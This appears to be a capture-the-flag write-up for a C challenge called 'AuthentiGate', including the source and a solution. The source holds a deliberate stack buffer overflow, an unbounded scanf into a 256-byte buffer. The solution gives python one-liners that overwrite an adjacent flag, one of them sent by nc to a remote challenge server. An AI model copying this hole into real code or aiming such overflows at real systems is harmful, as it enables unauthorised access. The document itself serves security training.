Super Secret Password

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef enum {false, true} bool;
static const char secretPass[] = "SuperSecureAndSuperSecretPassword!";

int flag()
{  
    system("/bin/cat flag.txt");
    fflush(NULL);
}

bool password_match(char *pass)
{
    // return true if password match
    if (strncmp(pass, secretPass, strlen(secretPass)) == 0)
    {
        return true;
    }

    return false;
}

void authentigate()
{

    printf("WELCOME TO THE A U T H E N T I G A T E\n");
    printf("\n");

    bool auth_enabled = false;
    char pass[256];
    
    printf("Enter the correct password to be allowed through the gate: \n");
    fflush(NULL);
    
    scanf("%s", &pass[0]);

    if (!auth_enabled)
    {
        printf("Sorry, the AuthentiGate is closed, authentication is not currently enabled!\n");
        fflush(NULL);
        return;
    }

    if (password_match(&pass[0]))
    {
        printf("Congratulations! You have opened the AuthentiGate and here is your reward!\n");
        flag();
    }
    else
    {
        printf("ERROR, INCORRECT PASSWORD!\n");
        fflush(NULL);
    }
}

int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    authentigate();
    return 0;
}

Big brain solution

The goal here is to furfill two if statments, the first one checks a bool value which is hardcoded to false, if it returns true we pass it, otherwise the program exits.

    if (!auth_enabled)
    {
        printf("Sorry, the AuthentiGate is closed, authentication is not currently enabled!\n");
        fflush(NULL);
        return;
    }

The second if checks the password, and it needs to match "SuperSecureAndSuperSecretPassword!".

    if (password_match(&pass[0]))
    {
        printf("Congratulations! You have opened the AuthentiGate and here is your reward!\n");
        flag();
    }
    else
    {
        printf("ERROR, INCORRECT PASSWORD!\n");
        fflush(NULL);
    }
}

The buffer where our password is stored is initialized right above the bool value and the input size is unrestricted, which means we can overflow the buffer and overwrite the bool value with true.

    bool auth_enabled = false;
    char pass[256];

We can patch the source to print the pointers of both variables to calculate the offset. by simply adding the following lines after both variables are initialized:

    printf("pass @ %p\n",pass);
    printf("auth_enabled @ %p\n\n",&auth_enabled);

After compiling and running the bin we can calculate the offset.

Great, the offset is 268 bytes, that means we can use a 268 sized junk to push a true value into auth_enabled. If we send the following input:

python -c 'print("A"*268+"\x01")'|./chall

We'll bypass the first if statment.

This means we hit the second if. Now we just got to input the correct password prepended to our padding to match the correct password. Don't forget to correct the padding size by subtracting the length of the password witch is 34 bytes.

python -c 'print("SuperSecureAndSuperSecretPassword!"+"A"*(268-34)+"\x01")'|./chall

And the program trys to read the flag.

Now we just gotta send the input to the remote instance.

Small brain solution

Every thing other than false returns true so getting the perfectly right offset is pointless.

python -c 'print("SuperSecureAndSuperSecretPassword!"*8)'|nc 52.207.153.238 1337

What could make the challenge better would be adding a string compare instead of bool which would prevent one from solving without calculating the offset.

Last updated